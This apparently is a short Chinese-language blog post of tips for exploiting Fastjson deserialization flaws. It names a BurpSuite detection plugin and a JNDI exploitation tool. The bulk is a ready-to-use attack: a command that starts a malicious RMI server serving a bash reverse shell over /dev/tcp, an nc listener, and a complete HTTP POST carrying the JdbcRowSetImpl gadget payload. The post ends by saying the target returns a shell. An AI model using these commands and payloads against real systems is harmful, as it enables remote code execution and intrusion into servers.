Fastjson 漏洞利用技巧
每次看到json數(shù)據(jù)包,都難免會想起Fastjson以及它多個版本存在的漏洞。
如何實現(xiàn)自動化檢測以及簡化攻擊步驟,從而提升漏洞發(fā)現(xiàn)能力,讓你更有效率的Tips,在這里和大家分享下。
01、自動化漏洞檢測
一款基于BurpSuite的被動式FastJson檢測插件,這個插件會對BurpSuite傳進來的帶有json數(shù)據(jù)的請求包進行檢測。
Github項目地址:
https://github.com/pmiaowu/BurpFastJsonScan
02、簡化攻擊步驟
在這里我們可以使用一款JNDI服務利用工具,來簡化fastjson漏洞檢測的步驟,輔助漏洞利用和滲透。
Github項目地址:
https://github.com/wyzxxz/jndi_toolFstjson漏洞利用:
(1)開啟RMI服務
java -cp jndi_tool.jar jndi.EvilRMIServer 1099 8888 "bash -i >&/dev/tcp/xxxx.xxx.xxx.xxx/12345 0>&1"
(2)設置監(jiān)聽服務器
nc -lvvp 12345
(3)構(gòu)造請求發(fā)送payload
POST /login HTTP/1.1Host: xxx.xxx.xxx.xxxAccept: application/json, text/plain, */*User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36Content-Type: application/json;charset=UTF-8Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8Connection: closeContent-Length: 111{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://xxx.xxx.xxx.xxx:1099/Object","autoCommit":true}
(4)目標系統(tǒng)收到POST請求,成功反彈shell。

評論
圖片
表情




